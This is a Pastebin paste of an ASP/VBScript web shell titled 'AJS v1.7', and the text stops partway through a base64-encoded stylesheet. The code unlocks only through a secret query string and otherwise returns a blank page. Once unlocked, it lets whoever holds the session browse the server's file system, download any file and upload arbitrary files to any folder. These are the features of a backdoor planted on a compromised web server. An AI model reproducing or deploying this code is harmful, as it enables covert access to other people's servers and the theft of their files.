Guest User

aspx

a guest
Jan 31st, 2018
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 135.06 KB | None | 0 0
  1. <%@ LANGUAGE = VBScript.Encode %>
  2. <%
  3. option explicit
  4. on error resume next
  5.  
  6. Session.Timeout=30
  7. Server.ScriptTimeout = 7200
  8. session.lcid=2057
  9.  
  10.  
  11. '*************************  Varible  *************************
  12. Dim FSO, Fullpath, FilePath, FolderPath, folderLocation, js, aspTitle
  13. Dim mode
  14.  
  15. '''''' Basic Settings '''''
  16. aspTitle = "AJS v1.7"
  17. '''''' Basic Settings '''''
  18.  
  19. Set FSO = CreateObject("Scripting.FileSystemObject")
  20. Fullpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
  21. FilePath = mid(Fullpath,InStrRev(Fullpath,"\")+1)
  22. FolderPath = Left(Fullpath,InStrRev(Fullpath,"\"))
  23. folderLocation = Request("location")
  24. mode = Request("mode")
  25.  
  26. if(folderLocation = "" or folderLocation = "/" or folderLocation = "\") then
  27.     folderLocation = addslash(FolderPath)
  28. else
  29.     folderLocation = addslash(folderLocation)
  30. end if
  31.  
  32. If (LCase(Request.ServerVariables("QUERY_STRING"))="x=a") Then
  33.     Session("allow")=1
  34.     Session("myFolderList") = Array("noxxxinfo")
  35.     Session("myFileList") = Array("noxxxinfo")
  36.     Response.CacheControl = "no-cache"
  37.     Response.Status = "301 Moved Permanently"
  38.     Response.Expires = 0
  39.     Response.Expiresabsolute = Now() - 1
  40.     Response.AddHeader "pragma","no-cache"
  41.     Response.AddHeader "cache-control","private"
  42.     Response.AddHeader "Location", FilePath
  43.     Response.End
  44. End If
  45.  
  46. If (Session("allow") <> 1) Then
  47.     Response.Expires = 0
  48.     Response.Expiresabsolute = Now() - 1
  49.     Response.AddHeader "pragma","no-cache"
  50.     Response.AddHeader "cache-control","private"
  51.     Response.CacheControl = "no-cache"
  52.     Response.End
  53. End If
  54.  
  55. Session("allow")=1
  56. '*************************  Varible  *************************
  57.  
  58. '*************************  JSON.asp  *************************
  59. class JSON
  60.  
  61.     'private members
  62.     private output, innerCall
  63.  
  64.     'public members
  65.     public toResponse       ''[bool] should the generated representation be written directly to the response (using <em>Response.Write</em>)? default = false
  66.     public recordsetPaging  ''[bool] indicates if only the current page should be processed on paged recordsets.
  67.                             ''e.g. would return only 10 records if <em>RS.pagesize</em> is set to 10. default = false (means that always all records are processed)
  68.  
  69.     public sub class_initialize()
  70.         newGeneration()
  71.         toResponse = false
  72.         recordsetPaging = false
  73.     end sub
  74.  
  75.     public function escape(val)
  76.         dim cDoubleQuote, cRevSolidus, cSolidus
  77.         cDoubleQuote = &h22
  78.         cRevSolidus = &h5C
  79.         cSolidus = &h2F
  80.         dim i, currentDigit
  81.         for i = 1 to (len(val))
  82.             currentDigit = mid(val, i, 1)
  83.             if ascw(currentDigit) > &h00 and ascw(currentDigit) < &h1F then
  84.                 currentDigit = escapequence(currentDigit)
  85.             elseif ascw(currentDigit) >= &hC280 and ascw(currentDigit) <= &hC2BF then
  86.                 currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC200), 2, 0), 2)
  87.             elseif ascw(currentDigit) >= &hC380 and ascw(currentDigit) <= &hC3BF then
  88.                 currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC2C0), 2, 0), 2)
  89.             else
  90.                 select case ascw(currentDigit)
  91.                     case cDoubleQuote: currentDigit = escapequence(currentDigit)
  92.                     case cRevSolidus: currentDigit = escapequence(currentDigit)
  93.                     case cSolidus: currentDigit = escapequence(currentDigit)
  94.                 end select
  95.             end if
  96.             escape = escape & currentDigit
  97.         next
  98.     end function
  99.  
  100.     public default function toJSON(name, val, nested)
  101.         if not nested and not isEmpty(name) then write("{")
  102.         if not isEmpty(name) then write("""" & escape(name) & """: ")
  103.         generateValue(val)
  104.         if not nested and not isEmpty(name) then write("}")
  105.         toJSON = output
  106.  
  107.         if innerCall = 0 then newGeneration()
  108.     end function
  109.  
  110.     '******************************************************************************************************************
  111.     '* generate
  112.     '******************************************************************************************************************
  113.     private function generateValue(val)
  114.         if isNull(val) then
  115.             write("null")
  116.         elseif isArray(val) then
  117.             generateArray(val)
  118.         elseif isObject(val) then
  119.             dim tName : tName = typename(val)
  120.             if val is nothing then
  121.                 write("null")
  122.             elseif tName = "Dictionary" or tName = "IRequestDictionary" then
  123.                 generateDictionary(val)
  124.             elseif tName = "Recordset" then
  125.                 generateRecordset(val)
  126.             elseif tName = "IRequest" then
  127.                 set req = server.createObject("scripting.dictionary")
  128.                 req.add "clientcertificate", val.ClientCertificate
  129.                 req.add "cookies", val.cookies
  130.                 req.add "form", val.form
  131.                 req.add "querystring", val.queryString
  132.                 req.add "servervariables", val.serverVariables
  133.                 req.add "totalbytes", val.totalBytes
  134.                 generateDictionary(req)
  135.             elseif tName = "IStringList" then
  136.                 if val.count = 1 then
  137.                     toJSON empty, val(1), true
  138.                 else
  139.                     generateArray(val)
  140.                 end if
  141.             else
  142.                 generateObject(val)
  143.             end if
  144.         else
  145.             'bool
  146.             dim varTyp
  147.             varTyp = varType(val)
  148.             if varTyp = 11 then
  149.                 if val then write("true") else write("false")
  150.             'int, long, byte
  151.             elseif varTyp = 2 or varTyp = 3 or varTyp = 17 or varTyp = 19 then
  152.                 write(cLng(val))
  153.             'single, double, currency
  154.             elseif varTyp = 4 or varTyp = 5 or varTyp = 6 or varTyp = 14 then
  155.                 write(replace(cDbl(val), ",", "."))
  156.             else
  157.                 write("""" & escape(val & "") & """")
  158.             end if
  159.         end if
  160.         generateValue = output
  161.     end function
  162.  
  163.     '******************************************************************************************************************
  164.     '* generateArray
  165.     '******************************************************************************************************************
  166.     private sub generateArray(val)
  167.         dim item, i, stId
  168.         write("[")
  169.         if(val(0) <> "noxxxinfo") then
  170.             stId = 0
  171.         else
  172.             stId = 1
  173.         end if
  174.         'the for each allows us to support also multi dimensional arrays
  175.         for i = stId to UBound(val)
  176.             if i > stId then write(",")
  177.             generateValue(val(i))
  178.         next
  179.         write("]")
  180.     end sub
  181.  
  182.     '******************************************************************************************************************
  183.     '* generateDictionary
  184.     '******************************************************************************************************************
  185.     private sub generateDictionary(val)
  186.         innerCall = innerCall + 1
  187.         if val.count = 0 then
  188.             toJSON empty, null, true
  189.             exit sub
  190.         end if
  191.         dim key, i
  192.         write("{")
  193.         i = 0
  194.         for each key in val
  195.             if i > 0 then write(",")
  196.             toJSON key, val(key), true
  197.             i = i + 1
  198.         next
  199.         write("}")
  200.         innerCall = innerCall - 1
  201.     end sub
  202.  
  203.     '******************************************************************************************************************
  204.     '* generateRecordset
  205.     '******************************************************************************************************************
  206.     private sub generateRecordset(val)
  207.         dim i, curRow, colValue
  208.         write("[")
  209.         curRow = 0
  210.         'recordset.pagesize = -1 means it is not paged.
  211.         while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
  212.             innerCall = innerCall + 1
  213.             redim colValue(val.fields.count - 1)
  214.             for i = 0 to val.fields.count - 1
  215.                 if  IsNull(val.fields(i).value) then
  216.                     colValue(i) = "NULL"
  217.                 elseif (Trim(val.fields(i).value)="") then
  218.                     colValue(i) = "&nbsp;"
  219.                 else
  220.                     colValue(i) = Server.HtmlEncode(val.fields(i).value)
  221.                 end if
  222.             next
  223.             generateArray(colValue)
  224.             val.movenext()
  225.             curRow = curRow + 1
  226.             if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
  227.             innerCall = innerCall - 1
  228.         wend
  229.         write("]")
  230.     end sub
  231.  
  232.     '******************************************************************************************************************
  233.     '* generateRecordset
  234.     '******************************************************************************************************************
  235.     private sub generateRecordsetX(val)
  236.         dim i, curRow
  237.         write("[")
  238.         curRow = 0
  239.         'recordset.pagesize = -1 means it is not paged.
  240.         while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
  241.             innerCall = innerCall + 1
  242.             write("{")
  243.             for i = 0 to val.fields.count - 1
  244.                 if i > 0 then write(",")
  245.                 toJSON lCase(val.fields(i).name), val.fields(i).value, true
  246.             next
  247.             write("}")
  248.             val.movenext()
  249.             curRow = curRow + 1
  250.             if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
  251.             innerCall = innerCall - 1
  252.         wend
  253.         write("]")
  254.     end sub
  255.  
  256.     '******************************************************************************************************************
  257.     '* generateObject
  258.     '******************************************************************************************************************
  259.     private sub generateObject(val)
  260.         dim props
  261.         on error resume next
  262.         set props = val.reflect()
  263.         if err = 0 then
  264.             on error goto 0
  265.             innerCall = innerCall + 1
  266.             toJSON empty, props, true
  267.             innerCall = innerCall - 1
  268.         else
  269.             on error goto 0
  270.             write("""" & escape(typename(val)) & """")
  271.         end if
  272.     end sub
  273.  
  274.     '******************************************************************************************************************
  275.     '* newGeneration
  276.     '******************************************************************************************************************
  277.     private sub newGeneration()
  278.         output = empty
  279.         innerCall = 0
  280.     end sub
  281.  
  282.     '******************************************************************************************
  283.     '* JsonEscapeSquence
  284.     '******************************************************************************************
  285.     private function escapequence(digit)
  286.         escapequence = "\u00" + right(padLeft(hex(ascw(digit)), 2, 0), 2)
  287.     end function
  288.  
  289.     '******************************************************************************************
  290.     '* padLeft
  291.     '******************************************************************************************
  292.     private function padLeft(value, totalLength, paddingChar)
  293.         padLeft = right(clone(paddingChar, totalLength) & value, totalLength)
  294.     end function
  295.  
  296.     '******************************************************************************************
  297.     '* clone
  298.     '******************************************************************************************
  299.     private function clone(byVal str, n)
  300.         dim i
  301.         for i = 1 to n : clone = clone & str : next
  302.     end function
  303.  
  304.     '******************************************************************************************
  305.     '* write
  306.     '******************************************************************************************
  307.     private sub write(val)
  308.         if toResponse then
  309.             Response.Write(val)
  310.         else
  311.             output = output & val
  312.         end if
  313.     end sub
  314.  
  315. end class
  316. '*************************  JSON.asp  *************************
  317.  
  318.  
  319. '*************************  Func.asp  *************************
  320. function addslash(path)
  321.     if right(path,1)="\" then addslash=path else addslash=path & "\"
  322. end function
  323.  
  324. Function FormatSize(intSize)
  325.     If (intSize < 1024) Then
  326.         FormatSize = intSize & " B"
  327.     ElseIf (intSize < 1024*1024) Then
  328.         FormatSize = FormatNumber(intSize/1024,2) & " KB"
  329.     ElseIf (intSize < 1024*1024*1024) Then
  330.         FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB"
  331.     Else
  332.         FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB"
  333.     End If
  334. End Function
  335.  
  336. Function Base64Encode(inData)
  337.   Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  338.   Dim cOut, sOut, I
  339.  
  340.   For I = 1 To Len(inData) Step 3
  341.     Dim nGroup, pOut, sGroup
  342.  
  343.     nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
  344.       &H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
  345.  
  346.     nGroup = Oct(nGroup)
  347.  
  348.     nGroup = String(8 - Len(nGroup), "0") & nGroup
  349.  
  350.     pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
  351.       Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
  352.       Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
  353.       Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
  354.  
  355.     sOut = sOut + pOut
  356.  
  357.   Next
  358.   Select Case Len(inData) Mod 3
  359.     Case 1: '8 bit final
  360.       sOut = Left(sOut, Len(sOut) - 2) + "=="
  361.     Case 2: '16 bit final
  362.       sOut = Left(sOut, Len(sOut) - 1) + "="
  363.   End Select
  364.   Base64Encode = sOut
  365. End Function
  366.  
  367. Function MyASC(OneChar)
  368.   If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
  369. End Function
  370.  
  371.  
  372. Function Base64Decode(ByVal base64String)
  373.   Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  374.   Dim dataLength, sOut, groupBegin
  375.  
  376.   base64String = Replace(base64String, vbCrLf, "")
  377.   base64String = Replace(base64String, vbTab, "")
  378.   base64String = Replace(base64String, " ", "")
  379.  
  380.   dataLength = Len(base64String)
  381.   If dataLength Mod 4 <> 0 Then
  382.     Err.Raise 1, "Base64Decode", "Bad Base64 string."
  383.     Exit Function
  384.   End If
  385.  
  386.  
  387.   For groupBegin = 1 To dataLength Step 4
  388.     Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  389.     numDataBytes = 3
  390.     nGroup = 0
  391.  
  392.     For CharCounter = 0 To 3
  393.  
  394.       thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  395.  
  396.       If thisChar = "=" Then
  397.         numDataBytes = numDataBytes - 1
  398.         thisData = 0
  399.       Else
  400.         thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  401.       End If
  402.       If thisData = -1 Then
  403.         Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  404.         Exit Function
  405.       End If
  406.  
  407.       nGroup = 64 * nGroup + thisData
  408.     Next
  409.  
  410.     nGroup = Hex(nGroup)
  411.  
  412.     nGroup = String(6 - Len(nGroup), "0") & nGroup
  413.  
  414.     pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
  415.       Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
  416.       Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  417.  
  418.     sOut = sOut & Left(pOut, numDataBytes)
  419.   Next
  420.  
  421.   Base64Decode = sOut
  422. End Function
  423.  
  424.  
  425. Function Base64ToBSTR(strBase64)
  426.     Dim Byte1, Byte2, Byte3, Byte4
  427.     Dim Data
  428.     Dim iterator
  429.     Const CharMap = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  430.  
  431.     For iterator = 0 To Len(strBase64) - 1 Step 4
  432.         Byte1 = InStr(CharMap, Mid(strBase64, iterator + 1, 1)) - 1
  433.         Byte2 = InStr(CharMap, Mid(strBase64, iterator + 2, 1)) - 1
  434.         Byte3 = InStr(CharMap, Mid(strBase64, iterator + 3, 1)) - 1
  435.         Byte4 = InStr(CharMap, Mid(strBase64, iterator + 4, 1)) - 1
  436.  
  437.         Data = Data & ChrB(Byte1 * 4 + Byte2 \ 16)
  438.  
  439.         If Byte3 >= 0 Then
  440.             Data = Data & ChrB((Byte2 And 15) * 16 + Byte3 \ 4)
  441.         Else
  442.             Data = Data & ChrB((iterator * 3 \ 4 + 1) = (Byte2 And 15) * 16)
  443.         End If
  444.  
  445.         If Byte4 >= 0 Then
  446.             Data = Data & ChrB((Byte3 And 3) * 64 + Byte4)
  447.         End If
  448.     Next
  449.     Base64ToBSTR = Data
  450. End Function
  451.  
  452.  
  453.  
  454. Function ReadBinaryFile(FileName)
  455.   Const adTypeBinary = 1
  456.   Dim BinaryStream
  457.   Set BinaryStream = CreateObject("ADODB.Stream")
  458.   BinaryStream.Type = adTypeBinary
  459.   BinaryStream.Open
  460.   BinaryStream.LoadFromFile FileName
  461.   ReadBinaryFile = BinaryStream.Read
  462. End Function
  463.  
  464. ' -----------------------------------------
  465. ' URL decode to retrieve the original value
  466.  
  467. Function URLDecode(sConvert)
  468.     Dim aSplit
  469.     Dim sOutput
  470.     Dim I
  471.     If IsNull(sConvert) Then
  472.        URLDecode = ""
  473.        Exit Function
  474.     End If
  475.  
  476.     ' convert all pluses to spaces
  477.     sOutput = REPLACE(sConvert, "+", " ")
  478.  
  479.     ' next convert %hexdigits to the character
  480.     aSplit = Split(sOutput, "%")
  481.  
  482.     If IsArray(aSplit) Then
  483.       sOutput = aSplit(0)
  484.       For I = 0 to UBound(aSplit) - 1
  485.         sOutput = sOutput & _
  486.           Chr("&H" & Left(aSplit(i + 1), 2)) &_
  487.           Right(aSplit(i + 1), Len(aSplit(i + 1)) - 2)
  488.       Next
  489.     End If
  490.  
  491.     URLDecode = sOutput
  492. End Function
  493.  
  494. Private Sub DownloadFile(file)
  495.         '--declare variables
  496.         Dim strAbsFile
  497.         Dim strFileExtension
  498.         Dim objFSO
  499.         Dim objFile
  500.         Dim objStream
  501.         '-- set absolute file location
  502.         strAbsFile = file
  503.         '-- create FSO object to check if file exists and get properties
  504.         Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
  505.         '-- check to see if the file exists
  506.         If objFSO.FileExists(strAbsFile) Then
  507.             Set objFile = objFSO.GetFile(strAbsFile)
  508.             '-- first clear the response, and then set the appropriate headers
  509.             Response.Clear
  510.             '-- the filename you give it will be the one that is shown
  511.             ' to the users by default when they save
  512.             Response.AddHeader "Content-Disposition", "attachment; filename=" & objFile.Name
  513.             Response.AddHeader "Content-Length", objFile.Size
  514.             Response.ContentType = "application/octet-stream"
  515.             Set objStream = Server.CreateObject("ADODB.Stream")
  516.             objStream.Open
  517.             '-- set as binary
  518.             objStream.Type = 1
  519.             Response.CharSet = "UTF-8"
  520.             '-- load into the stream the file
  521.             objStream.LoadFromFile(strAbsFile)
  522.             '-- send the stream in the response
  523.             Response.BinaryWrite(objStream.Read)
  524.             objStream.Close
  525.             Set objStream = Nothing
  526.             Set objFile = Nothing
  527.         Else 'objFSO.FileExists(strAbsFile)
  528.             Response.Clear
  529.             Response.Write("No such file exists.")
  530.         End If
  531.         Set objFSO = Nothing
  532. End Sub
  533.  
  534. '*************************  Upload  *************************
  535. Class FileUploader
  536.     Public  Files
  537.     Public mcolFormElem
  538.  
  539.     Private Sub Class_Initialize()
  540.         Set Files = Server.CreateObject("Scripting.Dictionary")
  541.         Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
  542.     End Sub
  543.  
  544.     Private Sub Class_Terminate()
  545.         If IsObject(Files) Then
  546.             Files.RemoveAll()
  547.             Set Files = Nothing
  548.         End If
  549.         If IsObject(mcolFormElem) Then
  550.             mcolFormElem.RemoveAll()
  551.             Set mcolFormElem = Nothing
  552.         End If
  553.     End Sub
  554.  
  555.     Public Property Get Form(sIndex)
  556.         Form = ""
  557.         If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
  558.     End Property
  559.  
  560.     Public Default Sub Upload()
  561.         Dim biData, sInputName
  562.         Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
  563.         Dim nPosFile, nPosBound
  564.  
  565.         biData = Request.BinaryRead(Request.TotalBytes)
  566.         nPosBegin = 1
  567.         nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  568.  
  569.         If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
  570.  
  571.         vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  572.         nDataBoundPos = InstrB(1, biData, vDataBounds)
  573.  
  574.         Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
  575.  
  576.             nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
  577.             nPos = InstrB(nPos, biData, CByteString("name="))
  578.             nPosBegin = nPos + 6
  579.             nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  580.             sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  581.             nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
  582.             nPosBound = InstrB(nPosEnd, biData, vDataBounds)
  583.  
  584.             If nPosFile <> 0 And  nPosFile < nPosBound Then
  585.                 Dim oUploadFile, sFileName
  586.                 Set oUploadFile = New UploadedFile
  587.  
  588.                 nPosBegin = nPosFile + 10
  589.                 nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
  590.                 sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  591.                 oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
  592.  
  593.                 nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
  594.                 nPosBegin = nPos + 14
  595.                 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  596.  
  597.                 oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  598.  
  599.                 nPosBegin = nPosEnd+4
  600.                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  601.                 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  602.  
  603.                 If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
  604.             Else
  605.                 nPos = InstrB(nPos, biData, CByteString(Chr(13)))
  606.                 nPosBegin = nPos + 4
  607.                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  608.                 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  609.             End If
  610.  
  611.             nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
  612.         Loop
  613.     End Sub
  614.  
  615.     Private Function CByteString(sString)
  616.         Dim nIndex
  617.         For nIndex = 1 to Len(sString)
  618.            CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
  619.         Next
  620.     End Function
  621.  
  622.     Private Function CWideString(bsString)
  623.         Dim nIndex
  624.         CWideString =""
  625.         For nIndex = 1 to LenB(bsString)
  626.            CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
  627.         Next
  628.     End Function
  629. End Class
  630.  
  631. Class UploadedFile
  632.     Public ContentType
  633.     Public FileName
  634.     Public FileData
  635.  
  636.     Public Property Get FileSize()
  637.         FileSize = LenB(FileData)
  638.     End Property
  639.  
  640.     Public Sub SaveToDisk(sPath)
  641.         on error resume next
  642.         Dim oFS, oFile, nIndex
  643.  
  644.         If sPath = "" Or FileName = "" Then Exit Sub
  645.         If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
  646.  
  647.         Set oFS = Server.CreateObject("Scripting.FileSystemObject")
  648.         If Not oFS.FolderExists(sPath) Then Exit Sub
  649.  
  650.         Set oFile = oFS.CreateTextFile(sPath & FileName, True)
  651.  
  652.         For nIndex = 1 to LenB(FileData)
  653.             oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
  654.         Next
  655.  
  656.         oFile.Close
  657.     End Sub
  658.  
  659.     Public Sub SaveToDatabase(ByRef oField)
  660.         If LenB(FileData) = 0 Then Exit Sub
  661.  
  662.         If IsObject(oField) Then
  663.             oField.AppendChunk FileData
  664.         End If
  665.     End Sub
  666.  
  667. End Class
  668.  
  669. function Upload(location)
  670.     Dim Uploader, File
  671.     Set Uploader = New FileUploader
  672.  
  673.     Uploader.Upload()
  674.  
  675.     If Uploader.Files.Count = 0 Then
  676.         Response.Write "<TR><TD class=""kbrtm"">File(s) not uploaded.</TD></TR>"
  677.     Else
  678.         For Each File In Uploader.Files.Items
  679.             File.SaveToDisk Uploader.mcolFormElem.Item("location")
  680.  
  681.             if Err.Number<>0 then
  682.                 Response.Write "<TR><TD class=""kbrtm"">File Uploaded: " & File.FileName & " : "
  683.                 Response.Write "Failed (" & Err.Description & ")</TD></TR>"
  684.                 Err.Clear
  685.             else
  686.                 Response.Write "<TR><TD class=""kbrtm"">File Uploaded: " & Uploader.mcolFormElem.Item("location") & File.FileName & "<br>"
  687.                 Response.Write "Size: " & File.FileSize & " bytes</TD></TR>"
  688.             end if
  689.  
  690.         Next
  691.     End If
  692.  
  693.     Upload = Uploader.mcolFormElem.Item("linkback")
  694. end function
  695. '*************************  Upload  *************************
  696.  
  697. '*************************  Func.asp  *************************
  698.  
  699.  
  700. '*************************  media.asp  *************************
  701.  
  702. dim script, img_loading, img_dir, img_lvUp, img_txt, img_img, img_unknow, media_style
  703.  
  704. media_style = ""&_
  705. "Ym9keXsKCW1hcmdpbjowcHg7Cglmb250LXN0eWxlOm5vcm1hbDsKCWZvbnQtc2l6ZToxMXB4OwoJY29sb3I6I0ZGRkZGRjsKCWZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7CgliYWNrZ3JvdW5kLWNvbG9yOiMzYTNhM2E7CglzY3JvbGxiYXItZmFjZS1jb2xvcjogIzMwMzAzMDsKCXNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6" &_
  706. "ICM1ZDVkNWQ7CglzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyOwoJc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICMzYTNhM2E7CglzY3JvbGxiYXItYXJyb3ctY29sb3I6ICM5ZDlkOWQ7CglzY3JvbGxiYXItdHJhY2stY29sb3I6ICMzYTNhM2E7CglzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzNhM2EzYTsKfQoK" &_
  707. "CnRkewoJZm9udC1zdHlsZTpub3JtYWw7Cglmb250LXNpemU6MTFweDsKCWNvbG9yOiNGRkZGRkY7Cglmb250LWZhbWlseTpWZXJkYW5hLEFyaWFsOwoJaGVpZ2h0OiAyNHB4Owp9CgphewoJY29sb3I6I0VFRUVFRTsKCXRleHQtZGVjb3JhdGlvbjpub25lOwoJZm9udC1zaXplOjEwcHg7Cglmb250LXdlaWdodDpib2xkOwoJdmVy" &_
  708. "dGljYWwtYWxpZ246dGV4dC10b3A7Cn0KCmE6aG92ZXJ7Cgljb2xvcjojNDBhMGVjOwp9CgphOnZpc2l0ZWR7Cgljb2xvcjojRUVFRUVFOwp9CgphOnZpc2l0ZWQ6aG92ZXJ7Cgljb2xvcjojNDBhMGVjOwp9Cgp0ZXh0YXJlYXsKCWJhY2tncm91bmQ6IzEyMTIxMjsKCWNvbG9yOiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxB" &_
  709. "cmlhbDsKCWZvbnQtc2l6ZToxMXB4OwoJdmVydGljYWwtYWxpZ246bWlkZGxlOyAKCWhlaWdodDoxODsKCWJvcmRlci1sZWZ0OjFweCBzb2xpZCAjMTIxMjEyOwoJYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjNWQ1ZDVkOwoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzVkNWQ1ZDsKCWJvcmRlci10b3A6MXB4IHNvbGlkICMxMjEy" &_
  710. "MTI7Cn0KCmlucHV0ICxzZWxlY3R7CgliYWNrZ3JvdW5kOiMzMDMwMzA7Cgljb2xvcjojRkZGRkZGOwoJZm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDsKCWZvbnQtc2l6ZToxMXB4OwoJdmVydGljYWwtYWxpZ246bWlkZGxlOwoJaGVpZ2h0OjI0OyAKCWJvcmRlci1sZWZ0OjFweCBzb2xpZCAjNWQ1ZDVkOwoJYm9yZGVyLXJpZ2h0" &_
  711. "OjFweCBzb2xpZCAjMTIxMjEyOwoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzEyMTIxMjsKCWJvcmRlci10b3A6MXB4IHNvbGlkICM1ZDVkNWQ7Cn0KCmlucHV0LnhjaGVjayB7CglkaXNwbGF5OiBibG9jazsKCWhlaWdodDogMjJweDsKCXdpZHRoOiAyMnB4OwoJcGFkZGluZzogMDsKCW1hcmdpbjogMDsKCWJvcmRlcjogMDsK" &_
  712. "fQoKLmticnRtewoJYmFja2dyb3VuZDojMzAzMDMwOwoJY29sb3I6I0ZGRkZGRjsKCWZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Cglmb250LXNpemU6MTFweDsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKCWhlaWdodDoyNDsgCglib3JkZXItbGVmdDoxcHggc29saWQgIzVkNWQ1ZDsKCWJvcmRlci1yaWdodDoxcHggc29saWQg" &_
  713. "IzEyMTIxMjsKCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjNWQ1ZDVkOwp9Cgoua2JydG0xewoJYmFja2dyb3VuZDojMzAzMDMwOwoJY29sb3I6I0ZGRkZGRjsKCWZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Cglmb250LXNpemU6MTFweDsKCXZlcnRpY2FsLWFsaWduOm1p" &_
  714. "ZGRsZTsKCWhlaWdodDozMDsgCglib3JkZXItbGVmdDoxcHggc29saWQgIzVkNWQ1ZDsKCWJvcmRlci1yaWdodDoxcHggc29saWQgIzEyMTIxMjsKCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjNWQ1ZDVkOwp9Cgoua2JydG0xIGF7Cgljb2xvcjpvcmFuZ2U7Cgl0ZXh0LWRl" &_
  715. "Y29yYXRpb246bm9uZTsKCWZvbnQtc2l6ZToxMXB4OwoJZm9udC13ZWlnaHQ6Ym9sZDsKCXZlcnRpY2FsLWFsaWduOnRleHQtbWlkZGxlOwp9Cgoua2JydG0xIGE6dmlzaXRlZHsKCWNvbG9yOm9yYW5nZTsKfQoKLmticnRtMSBhOmhvdmVyewoJY29sb3I6IzQwYTBlYzsKfQoKLmticnRtMSBhOnZpc2l0ZWQ6aG92ZXJ7Cgljb2xv" &_
